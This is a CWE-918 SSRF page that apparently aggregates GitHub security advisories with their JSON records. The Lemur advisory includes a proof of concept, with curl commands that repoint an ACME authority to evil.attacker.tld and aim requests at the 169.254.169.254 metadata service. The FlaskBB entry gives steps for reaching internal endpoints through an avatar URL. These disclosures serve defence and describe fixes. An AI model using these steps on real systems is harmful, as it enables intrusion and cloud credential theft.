Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5474 vulnerabilities reference this CWE, most recent first.

GHSA-XP5X-9H6P-Q3RF

Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2022-02-04 00:00
VLAI
Details

A CWE-918 Server-Side Request Forgery (SSRF) vulnerability exists that could cause the station web server to forward requests to unintended network targets when crafted malicious parameters are submitted to the charging station web server. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-28T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-918 Server-Side Request Forgery (SSRF) vulnerability exists that could cause the station web server to forward requests to unintended network targets when crafted malicious parameters are submitted to the charging station web server. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)",
  "id": "GHSA-xp5x-9h6p-q3rf",
  "modified": "2022-02-04T00:00:44Z",
  "published": "2022-01-29T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22821"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-348-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XPFQ-G4P2-QQQF

Vulnerability from github – Published: 2022-01-11 00:01 – Updated: 2022-01-15 00:03
VLAI
Details

peertube is vulnerable to Server-Side Request Forgery (SSRF)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-0132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T14:12:00Z",
    "severity": "HIGH"
  },
  "details": "peertube is vulnerable to Server-Side Request Forgery (SSRF)",
  "id": "GHSA-xpfq-g4p2-qqqf",
  "modified": "2022-01-15T00:03:25Z",
  "published": "2022-01-11T00:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chocobozzz/peertube/commit/7b54a81cccf6b4c12269e9d6897d608b1a99537a"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/77ec5308-5561-4664-af21-d780df2d1e4b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XPFW-QH9X-F6C7

Vulnerability from github – Published: 2025-09-19 21:31 – Updated: 2025-09-19 21:31
VLAI
Details

StorageGRID (formerly StorageGRID Webscale) versions prior to 11.8.0.15 and 11.9.0.8 without Single Sign-on enabled are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an unauthenticated attacker to change the password of any Grid Manager or Tenant Manager non-federated user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-26515"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T19:15:38Z",
    "severity": "HIGH"
  },
  "details": "StorageGRID (formerly \nStorageGRID Webscale) versions prior to 11.8.0.15 and 11.9.0.8 without \nSingle Sign-on enabled are susceptible to a Server-Side Request Forgery \n(SSRF) vulnerability. Successful exploit could allow an unauthenticated \nattacker to change the password of any Grid Manager or Tenant Manager \nnon-federated user.",
  "id": "GHSA-xpfw-qh9x-f6c7",
  "modified": "2025-09-19T21:31:17Z",
  "published": "2025-09-19T21:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26515"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/NTAP-20250910-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPMJ-WJCP-6PWW

Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51
VLAI
Summary
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Details

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client: 1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs. 2. new_order() -> server returns finalize and authorizations URLs. 3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

  • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
  • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
  • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
  • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

  1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
  2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:51:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe ACME client (used to issue certificates from Let\u0027s Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority\u0027s role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority\u0027s role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n\u2026 next certificate issuance against this authority \u2026\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }\u0027\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}\u0027\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname \u2260 the configured `acme_url` hostname.",
  "id": "GHSA-xpmj-wjcp-6pww",
  "modified": "2026-08-18T20:51:07Z",
  "published": "2026-08-18T20:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs"
}

GHSA-XPPR-6C99-HP78

Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2025-01-21 18:31
VLAI
Details

Server Side Request Forgery vulnerability has been discovered in OpenText™ iManager 3.2.6.0200. This could lead to senstive information disclosure by directory traversal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-15T17:15:15Z",
    "severity": "MODERATE"
  },
  "details": "Server Side Request Forgery vulnerability\u00a0has been discovered in OpenText\u2122 iManager 3.2.6.0200. This\ncould lead to senstive information disclosure by directory traversal.",
  "id": "GHSA-xppr-6c99-hp78",
  "modified": "2025-01-21T18:31:03Z",
  "published": "2024-05-15T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3970"
    },
    {
      "type": "WEB",
      "url": "https://www.netiq.com/documentation/imanager-32/imanager326_patch3_hf1_releasenotes/data/imanager326_patch3_hf1_releasenotes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPV6-XWMP-4M43

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-07-14 18:31
VLAI
Details

A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.

Panorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T19:17:01Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS\u00ae software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.\n\n\n\nPanorama, Cloud NGFW and Prisma\u00ae Access are not impacted by these vulnerabilities.",
  "id": "GHSA-xpv6-xwmp-4m43",
  "modified": "2026-07-14T18:31:46Z",
  "published": "2026-05-13T21:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0258"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-967325.html"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2026-0258"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:H/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XPVP-WH4V-PPC2

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07
VLAI
Details

A server side request forgery (SSRF) vulnerability in /ApiAdminDomainSettings.php of MipCMS 5.0.1 allows attackers to access sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-20582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-08T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A server side request forgery (SSRF) vulnerability in /ApiAdminDomainSettings.php of MipCMS 5.0.1 allows attackers to access sensitive information.",
  "id": "GHSA-xpvp-wh4v-ppc2",
  "modified": "2022-05-24T19:07:14Z",
  "published": "2022-05-24T19:07:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sansanyun/mipcms5/issues/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XPWP-RQ3X-X6V7

Vulnerability from github – Published: 2018-10-16 17:35 – Updated: 2020-06-16 22:03
VLAI
Summary
Critical severity vulnerability that affects recurly-api-client
Details

The Recurly Client .NET Library before 1.0.1, 1.1.10, 1.2.8, 1.3.2, 1.4.14, 1.5.3, 1.6.2, 1.7.1, 1.8.1 is vulnerable to a Server-Side Request Forgery vulnerability due to incorrect use of "Uri.EscapeUriString" that could result in compromise of API keys or other critical resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "1.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.4.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.7.0"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "recurly-api-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.8.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2017-0907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:03:58Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "The Recurly Client .NET Library before 1.0.1, 1.1.10, 1.2.8, 1.3.2, 1.4.14, 1.5.3, 1.6.2, 1.7.1, 1.8.1 is vulnerable to a Server-Side Request Forgery vulnerability due to incorrect use of \"Uri.EscapeUriString\" that could result in compromise of API keys or other critical resources.",
  "id": "GHSA-xpwp-rq3x-x6v7",
  "modified": "2020-06-16T22:03:58Z",
  "published": "2018-10-16T17:35:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/recurly/recurly-client-net/commit/9eef460c0084afd5c24d66220c8b7a381cf9a1f1"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/288635"
    },
    {
      "type": "WEB",
      "url": "https://dev.recurly.com/page/net-updates"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xpwp-rq3x-x6v7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Critical severity vulnerability that affects recurly-api-client"
}

GHSA-XQ22-GQ5H-MVX5

Vulnerability from github – Published: 2026-08-19 15:32 – Updated: 2026-08-19 15:32
VLAI
Details

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T14:17:56Z",
    "severity": "MODERATE"
  },
  "details": "Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.",
  "id": "GHSA-xq22-gq5h-mvx5",
  "modified": "2026-08-19T15:32:36Z",
  "published": "2026-08-19T15:32:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/security/advisories/GHSA-5p3m-vhh6-9236"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76239"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/stigmem-before-0a11-ssrf-via-unvalidated-webhook-delivery-address"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XQ32-9G7Q-7297

Vulnerability from github – Published: 2026-05-21 20:42 – Updated: 2026-05-21 20:42
VLAI
Summary
FlaskBB: SSRF in get_image_info() via unrestricted avatar URL
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in get_image_info() allows any authenticated user to force the server to send HTTP requests to arbitrary internal endpoints, including cloud metadata services (e.g., AWS 169.254.169.254). This is a blind SSRF with confirmed internal port scanning and internal API triggering capabilities. CVSS 6.5 Medium.

Details

In flaskbb/utils/helpers.py (line 571), the url parameter is passed directly to requests.get(url, stream=True) without any validation of scheme, host, or IP address.

python# flaskbb/utils/helpers.py:571
def get_image_info(url: str):
    r = requests.get(url, timeout=(3.05, 27), stream=True)

Attack chain:

POST /user/settings/user-details (avatar URL)
→ ValidateAvatarURL.validate()    # validators.py:103
→ check_image(avatar)             # helpers.py:628
→ get_image_info(url)             # helpers.py:571
→ requests.get(url)               # No domain/IP restriction
Entry points:

/user/settings/user-details (any authenticated user)
/admin/users/<id>/edit (admin only)

PoC

submit.zip

Log in to FlaskBB as any user Navigate to Settings → User Details Enter http://169.254.169.254/latest/meta-data/ as the avatar URL Submit the form The server sends a GET request to the internal metadata endpoint

Three exploitation channels confirmed:

Server-side request: Captured on mock metadata server Internal port scan: check_image() returns distinct errors (CONN_REFUSED, NO_CONTENT_LENGTH, TYPE_NOT_ALLOWED, SUCCESS) that map internal network topology Internal API triggering: Mock APIs on 127.0.0.1:9200 triggered via SSRF (deploy, shutdown, key dump endpoints)

Impact

Any authenticated user is impacted. Attackers can force the server to request internal services, cloud metadata endpoints, or private network resources. On cloud deployments (AWS/GCP/Azure), IAM credentials can be leaked. In production, any GET-triggered internal service is reachable: CI/CD webhooks, Elasticsearch, etcd, Consul, etc.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flaskbb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T20:42:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
